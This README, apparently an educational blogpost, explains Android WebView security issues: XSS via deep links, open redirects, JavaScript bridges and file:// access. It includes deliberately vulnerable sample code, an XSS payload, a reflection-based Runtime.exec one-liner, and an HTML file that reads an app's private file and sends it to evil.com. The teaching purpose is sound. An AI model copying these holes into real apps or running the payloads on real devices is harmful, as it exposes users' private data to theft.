Skip to content

yo-yo-yo-jbo/android_webview_security

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 

Repository files navigation

Android Webview security

Continuing my previous blogpost about Android App security, I'd like to discuss Android Webviews.
This blogpost is also going to describe some web vulnerabilities - since I haven't written about them personally I will try to describe them briefly.

What are Webviews

A WebView is a system component that allows Android Apps to display web content inside the app.
You can think of it as a little browser instance that runs in the context of an Android App.
In fact, many Apps heavily rely on WebViews to function - for example, banking Android Apps are sometimes just a fancy WebView to a Bank's HTTP(S) server.
WebViews are commonly powered by Chromium. Developers can load URLs or HTML into a WebView with methods like loadUrl or loadData.
Additionally, Apps can enable JavaScript, add custom bridges (more on that later!), and interact with the content.
The security aspect is quite clear: embedding a browser inside an App also brings along the entire browser attack surface.
Worse than that - the WebView runs in the same context (and process) of the App, which means that it doesn't benefit from the usual Sandbox we see in modern browsers.
So, let us show a few scenarios with WebViews and explain common security issues with them.

XSS

XSS (Cross-Site-Scripting) is a type of web vulnerability that enables injecting client-side scripting into web contents.

XSS in Web Applications

A simple example (outside of the Android App context!) could be in a website that has a "search" button - users can submit a search query and the search results appear.
Here's the example (coded in Python with Flask):

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def search():
    if request.method == 'POST':
        query = request.form.get('query', '')
        return f'''
            <html>
                <body>
                    <h1>Search Page</h1>
                    <form method="post">
                        <input type="text" name="query" />
                        <input type="submit" value="Search" />
                    </form>
                    <p>You searched for: {query}</p>
                </body>
            </html>
        '''
    else:
        return '''
            <html>
                <body>
                    <h1>Search Page</h1>
                    <form method="post">
                        <input type="text" name="query" />
                        <input type="submit" value="Search" />
                    </form>
                </body>
            </html>
        '''

if __name__ == '__main__':
    app.run(debug=True)

The problem here is the HTML output <p>You searched for: {query}</p> - note query is not sanitized.
Thus, providing <script>alert(1337)</script> as the query injects arbitrary JavaScript into the webpage.
That might have catastrophic implications such as stealing cookies, accessing private information and phishing.
Well, in an Android WebView you could also achieve an XSS too!

XSS in an Android WebView

Here is a simple AndroidManifest.xml for a vulnerable App:

<?xml version="1.0" encoding="utf-8"?>
<manifest package="com.example.vulnwebview" xmlns:android="http://schemas.android.com/apk/res/android">
  <application android:label="VulnWebView">
    <activity android:name=".MainActivity" android:exported="true">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="search"/>
      </intent-filter>
    </activity>
  </application>
</manifest>

Note the MainActivity Activity has an intent-filter that also has the category android.intent.category.BROWSABLE.
That BROWSABLE category means the App is registered with a URI schema myapp://search and thus could be triggered from other Apps or even from a browser.
Here's MainActivity.java:

package com.example.vulnwebview;

import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    private WebView webView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        webView = new WebView(this);
        setContentView(webView);

        // Enable JavaScript
        webView.getSettings().setJavaScriptEnabled(true);

        webView.setWebViewClient(new WebViewClient());

        // Get query from deep link: myapp://search?q=...
        Uri data = getIntent() != null ? getIntent().getData() : null;
        String query = null;
        if (data != null) {
            query = data.getQueryParameter("q");
        }

        // Vuln
        String html = "<html>\n" +
                "  <body>\n" +
                "    <h1>Search</h1>\n" +
                "    <form method=\"get\" action=\"\">\n" +
                "      <input name=\"q\" />\n" +
                "      <input type=\"submit\" value=\"Search\"/>\n" +
                "    </form>\n" +
                (query != null && !query.isEmpty() ? "<p>You searched for: " + query + "</p>\n" : "") +
                "  </body>\n" +
                "</html>";

        // Load using a base URL (let's say - a bank web server)
        webView.loadDataWithBaseURL("https://my-bank.com", html, "text/html", "utf-8", null);
    }

    @Override
    protected void onDestroy() {
        if (webView != null) {
            webView.destroy();
            webView = null;
        }
        super.onDestroy();
    }
}

Let's note a few things:

  1. We had to call webView.getSettings().setJavaScriptEnabled(true); to enable JavaScript - JavaScript is disabled by default.
  2. We extract the parameter q from the Intent using getQueryParameter.
  3. As before, we simply load the HTML code with the attacker controlled query - which means, JavaScript could be injected.

All an attacker needs to do is trigger myapp://search?q=%3Cscript%3Ealert(1337)%3C%2Fscript%3E - which can be done from other Apps that run side-by-side, or even from an actual browser (requires a user approval to open the App).

Plaintext HTTP and open redirects

Just like any browser, WebViews can load data from plaintext HTTP URLs (rather than HTTPS).
Any plaintext HTTP load can be potentially attacked with a Man-in-the-middle (MiTM) attack, thus injecting arbitrary contents.
Similarly, open redirects can make the WebView load untrusted contents - for instance, let's assume a web server https://example.com that can get a redirection URL as a GET parameter, e.g. https://example.com/redirect=attacker-controlled.com. If the redirect target can be controlled (e.g. from a data in an Intent) - an attacker could control the WebView contents arbitrarily.

Android JavaScript bridge

A unique technology to Android that's utilized in Android is called the Android JavaScript Bridge or "native bridge". The idea is interopability between JavaScript and the App - in essence, the JavaScript can invoke methods in an exposed Java class (that runs in the App's context) and get results.
The WebView class exposes a method called addJavascriptInterface which exposes certain methods that can be invoked from within the WebView's JavaScript.

Types of data

Obviously, the entire data interopability requires heavy serialization and deserialization, so only a set of data types are supported:

JavaScript Android App (Java) Remarks
String java.lang.String UTF-8 encoded.
Number double, int, ... JavaScript's Number always turns into double, and then converted to the correct integer type if required.
true \ false boolean
null null
Objects \ arrays --- Not supported - commonly objects and arrays are passed via a JSON string.
Binary data --- Not supported - commonly passed via base64-encoded strings.

First example

Here's how JavaScript bridges are used: we'll define a class that implements a JavaScript interface method (more on that later):

package com.example.mybridge;

import android.webkit.JavascriptInterface;
import org.json.JSONException;
import org.json.JSONObject;

public class MyBridge {
    @JavascriptInterface
    public String echo(String s) {
        return "ECHO: " + s;
    }
}

Then, we attach it to a WebView:

WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new MyBridge(), "AndroidBridge");
webView.loadUrl("file:///android_asset/test.html");

Lastly, here is test.html, which runs JavaScript:

<html>
  <body>
    <script>
      try {
        var reply = AndroidBridge.echo("hello");
        console.log("reply from Java:", reply);
      } catch (e) {
        console.error("Bridge call failed", e);
      }
    </script>
  </body>
</html>
  • Note test.html found an object called AndroidBridge and called echo("hello") on it.
  • The string "hello" is translated via the bridge to a Java String object and the echo method is invoked.
  • The echo method takes the string and returns another string ("ECHO: hello" in our case).
  • The returned String Java object translates via the bridge and turns into a JavaScript string.

Annotation requirements

In API versions prior to 17 (old!), a JavaScript bridge always meant arbitrary code execution on the device in the App's context.
In those old versions, the object exposed via the addJavascriptInterface method would have all its methods callable.
Thus, a malicious Javascript could use Java's refleciton capabilities:

AndroidObject.getClass().forName("java.lang.Runtime").getRuntime().exec("echo pwn");
  • Note getClass is a method defined by any object and returns the Java class that defines the object.
  • Then, forName is a static method in Java class that returns a Java class instance of the given name. We use java.lang.Runtime to get a Runtime class.
  • The Runtime class exposes a static method getRuntime which instanciates a new Runtime instance.
  • Finally, we call exec on the Runtime instance which can run arbitrary commandlines.

To handle that issue, Android post API version 17 will refuse to call methods that are not annotated with the @JavascriptInterface annotation.

Security implications

While the old reflection-based RCE bug is resolved in all modern Android insances, there are still significant security implications to JavaScript bridges.
Generally, the exposed methods must still sanitize all input, especially if the WebView can load untrusted attacker-controlled inputs (e.g. via plaintext, injection, open redirects or XSS).
In fact, I've published a blogpost in the past that shows how such a JavaScript bridge exposed methods that allowed:

  • Controlling the camera and microphone
  • Run arbitrary commands (via a command injection vulnerability)
  • Control the power consumption of the phone
  • Perform arbitrary storage operations

The blogpost describes it well, but in essence, there were System Apps (Apps that are baked-into the phone for all means and purposes) that would have a JavaScript bridge object that exposes said functionality.
Injecting to the Webview requires JavaScript injection via deserialization of an Intent, which could be triggered via a BROWSABLE activity, like we've seen earlier!

Loading arbitrary files to the WebView

Lastly, WebViews have the capability to load files via the file:// schema.
In browsers, a mechanism called Same-origin-policy (SOP) enforces that resources cannot be accessed between different "origins", where an "origin" is the schema, host URI and port number.
However, in file:// schema, all files are considered to be under the same origin, thus - somehow loading an arbitrary file into the WebView could allow that file (if running JavaScript) to access all files accessible to the App - including private data.
Here's a toy example:

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        WebView webView = new WebView(this);
        setContentView(webView);

        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);

        // Allows file:// pages to fetch other resources
        settings.setAllowFileAccess(true);
        settings.setAllowFileAccessFromFileURLs(true);
        settings.setAllowUniversalAccessFromFileURLs(true);

        // Load local file
        webView.loadUrl("file:///sdcard/myapp/index.html");
    }
}

In this case, the file index.html that's on the external storage (most likely attacker-controlled) can run arbitrary JavaScript and get all files that the App has access to (and most likely, exfiltrate them), e.g.:

<!DOCTYPE html>
<html>
<body>
<h1>Local file attack</h1>
<script>
fetch("file:///data/data/com.example.myapp/files/secret.txt")
  .then(resp => resp.text())
  .then(data => {
      fetch("https://evil.com/steal?data=" + encodeURIComponent(data));
  })
  .catch(err => console.log("Error:", err));
</script>
</body>
</html>

This is true also for drive-by-downloads (e.g. file is downloaded to the storage and then an intent is triggered from a different App that loads that file in the target App).
Also note the three different methods that we invoked on the WebView's settings:

  • setAllowFileAccess(true) lets the WebView load file:// resources from the device filesystem.
  • setAllowFileAccessFromFileURLs(true) lets JavaScrip running in a file:// page read other file:// resources.
  • setAllowUniversalAccessFromFileURLs(true) lets JavaScript running in a file:// page access any origin, i.e. cross-origin network access.

It is actually not rare seeing such overpowered WebViews, so watch out!

Summary

While these all seem trivial, combining all these ideas could end up in a powerful attack chain.
I hope to make more Android blogposts - Stay tuned!

Jonathan Bar Or

About

Android webviews and securiy

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors